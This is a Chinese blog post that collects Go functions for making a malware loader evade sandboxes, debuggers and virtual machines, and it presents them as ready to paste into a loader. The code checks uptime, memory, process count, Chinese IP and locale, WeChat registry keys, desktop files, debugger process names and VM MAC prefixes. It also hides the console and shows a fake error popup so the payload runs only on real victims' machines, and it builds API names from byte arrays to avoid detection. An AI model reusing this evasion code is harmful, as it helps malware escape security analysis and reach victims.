• 反沙箱技术


    学习和记录各种反沙箱的手段,均使用go实现。在编写loader时可以直接拿来使用

    环境条件

    开机时长

    如果当前操作系统没有超过三十分钟就退出

    
    func BootTime() bool {
    	kernel := syscall.NewLazyDLL(string([]byte{
    		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
    	}))
    	GetTickCount := kernel.NewProc("GetTickCount")
    	r, _, _ := GetTickCount.Call()
    	if r == 0 {
    		return false
    	}
    	ms := time.Duration(r * 1000 * 1000)
    	tm := time.Duration(30 * time.Minute)
    
    	if ms < tm {
    		return false
    	} else {
    		return true
    	}
    }

    物理内存

    获取系统的内存,将获取到的内存总量除以``1048576`​转换成GB来判断是不是小于4GB。

    func PhysicalMemory() bool {
    	var mod = syscall.NewLazyDLL(string([]byte{
    		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
    	}))
    	var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
    	var mem uint64
    	proc.Call(uintptr(unsafe.Pointer(&mem)))
    	mem = mem / 1048576
    	fmt.Printf("物理内存为%dG\n", mem)
    	if mem < 4 {
    		return false
    	}
    	return true
    }

    进程数量

    如果没有超过60个就自动退出。

    import "github.com/shirou/gopsutil/process"
    
    func ProcessCount() bool {
    	processes, err := process.Processes()
    	if err != nil {
    		return false
    	}
    	// fmt.Printf("当前进程数量: %d\n", count)
    	if len(processes) < 60 {
    		return false
    	}
    	return true
    }

    国内IP

    判断当前ip是否位于国内

    func IP() bool {
    	url := "https://myip.ipip.net/"
    
    	var s string
    	err := requests.URL(url).ToString(&s).Fetch(context.Background())
    	if err!= nil {
    		return false
    	}
    
    	if !strings.Contains(s, "中国") {
    		return false
    	}
    	return true
    }

    微信

    检查当前用户的注册表中是否有微信的安装路径信息。

    func Wechat() bool {
    	k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
    	if err != nil {
    		return false
    	}
    	defer k.Close()
    
    	s, _, err := k.GetStringValue("InstallDir")
    	if err != nil || s == "" {
    		return false
    	}
    
    	return true
    }

    中文语言

    如果语言是英文的则不符合国内使用习惯,大概率是虚拟机或是沙箱。

    func Language() bool {
    	l := os.Getenv("LANG")
    
    	if strings.Contains(l, "en_US") {
    		return false
    	}
    
    	return true
    }

    虚拟内存交换文件

    如果存在则表示系统配置了页面文件。

    func Profile() bool {
    	_, err := os.Stat("C:\\pagefile.sys")
    	if os.IsNotExist(err) {
    		return false
    	} else if err != nil {
    		return false
    	}
    	return true
    }

    桌面文件数量

    获取用户桌面的路径,然后统计该目录下面非目录项的数量,如果文件数量小于7则退出。

    func DesktopFile() bool {
    	desktopPath, err := os.UserHomeDir()
    	if err != nil {
    		return false
    	}
    
    	desktopPath = filepath.Join(desktopPath, "Desktop")
    	fileCount, err := countFilesInDir(desktopPath)
    	if err != nil {
    		return false
    	}
    
    	if fileCount < 7 {
    		return false
    	}
    
    	return true
    }
    
    func countFilesInDir(dirPath string) (int, error) {
    	var fileCount int
    
    	err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
    		if err != nil {
    			return err
    		}
    		if !info.IsDir() {
    			fileCount++
    		}
    		return nil
    	})
    
    	if err != nil {
    		return -1, err
    	}
    
    	return fileCount, nil
    }

    其他操作

    弹窗确认

    可以先设置一个弹框,沙箱如果没有自动模拟点击的情况下就不执行恶意代码。

    import "github.com/gen2brain/dlgs"
    
    func start() {
    	_, err := dlgs.Info("提示", "打开失败!")
    	if err != nil {
    		os.Exit(-1)
    	}
    }

    隐藏黑框

    import "github.com/lxn/win" 
    
    func main() {
    	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    } 

    延时执行

    就是让当前的线程休眠10秒,然后对比实际的睡眠时间。

    func TimeSleep() bool {
    	start := time.Now()
    	time.Sleep(10 * time.Second)
    	end := time.Since(start)
    
    	if end >= 10*time.Second {
    		return true
    	} else {
    		return false
    	}
    }

    反调试

    检测系统中是否允许了调试器,MAX_PATH指的就是文件路径的最大长度,遍历所有的进程与黑名单进行比较

    var blacklistDBG = []string{
    	"IDA",
    	"OLLY",
    	"WINDBG",
    	"GHIDRA",
    }
    
    const MAX_PATH = 260
    
    func DetectDBG() bool {
    	handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
    	if err != nil {
    		return false
    	}
    
    	pe32 := syscall.ProcessEntry32{}
    	pe32.Size = uint32(unsafe.Sizeof(pe32))
    
    	err = syscall.Process32First(handle, &pe32)
    
    	for err == nil {
    		exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH]))
    		for _, pn := range blacklistDBG {
    			if strings.Contains(exeFile, pn) {
    				return true
    			}
    		}
    		err = syscall.Process32Next(handle, &pe32)
    	}
    
    	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
    		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
    	})).NewProc(string([]byte{
    		'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
    	})).Call(); ret != 0 {
    		return true
    	}
    
    	return false
    }
    

    反虚拟机

    资源

    检测当前环境是否可能是虚拟机环境,调用Windows API来检测CPU虚拟化标志,以及runtime.NumCPU()​返回的处理器核心数量,少于2个则判断为虚拟机。然后判断系统总物理内存 ullTotalPhys​ 如果小于 1<<31(也就是2的31次方,即2GB)判断为虚拟机。

    import "github.com/klauspost/cpuid"
    
    type memoryStatusEx struct {
    	dwLength                uint32
    	dwMemoryLoad            uint32
    	ullTotalPhys            uint64
    	ullAvailPhys            uint64
    	ullTotalPageFile        uint64
    	ullAvailPageFile        uint64
    	ullTotalVirtual         uint64
    	ullAvailVirtual         uint64
    	ullAvailExtendedVirtual uint64
    }
    
    func checkResource() bool {
    	if cpuid.CPU.VM() {
    		return true
    	}
    
    	memStatus := memoryStatusEx{}
    	memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))
    
    	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
    		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
    	})).NewProc(string([]byte{
    		'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
    	})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
    		return false
    	}
    
    	if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 {
    		return true
    	}
    
    	return false
    }

    NIC和MAC

    判断网络接口卡 (NIC) 的 MAC 地址前缀来判断当前环境是否在某些虚拟机软件中运行

    var blacklistedMacAddressPrefixes = []string{
    	"00:1C:42", // Parallels
    	"08:00:27", // VirtualBox
    	"00:05:69", // |
    	"00:0C:29", // | > VMWare
    	"00:1C:14", // |
    	"00:50:56", // |
    	"00:16:E3", // Xen
    }
    
    func checkNic() bool {
    	interfaces, err := net.Interfaces()
    	if err != nil {
    		return false
    	}
    
    	for _, iface := range interfaces {
    		macAddr := iface.HardwareAddr.String()
    		if strings.HasPrefix(iface.Name, "Ethernet") ||
    			strings.HasPrefix(iface.Name, "以太网") ||
    			strings.HasPrefix(iface.Name, "本地连接") {
    			if macAddr != "" {
    				for _, prefix := range blacklistedMacAddressPrefixes {
    					if strings.HasPrefix(macAddr, prefix) {
    						return true
    					}
    				}
    			}
    		}
    	}
    
    	return false
    }


    __EOF__

  • 本文作者: Lockly
  • 本文链接: https://www.cnblogs.com/bktown/p/17976279/anti-sand-box-technology-1uwpao
  • 关于博主: 非常沉默非常骄傲
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    万字长文解读计算机视觉中的注意力机制(附论文和代码链接)
    无涯教程-JavaScript - SUMXMY2函数
    web前端面试高频考点——Vue3.x深入理解(v-model参数用法、watch和watchEffect区别、Vue3快于Vue2、Vite启动快的原因)
    elk日志收集系统
    高校寻物平台小程序的设计
    js——继承
    Java版本spring cloud + spring boot企业电子招投标系统源代码
    交换机命令
    概统 | 多维随机变量
    Fenix — 比 MyBatis 更加强大的 Spring Data JPA 扩展库
  • 原文地址:https://www.cnblogs.com/bktown/p/17976279/anti-sand-box-technology-1uwpao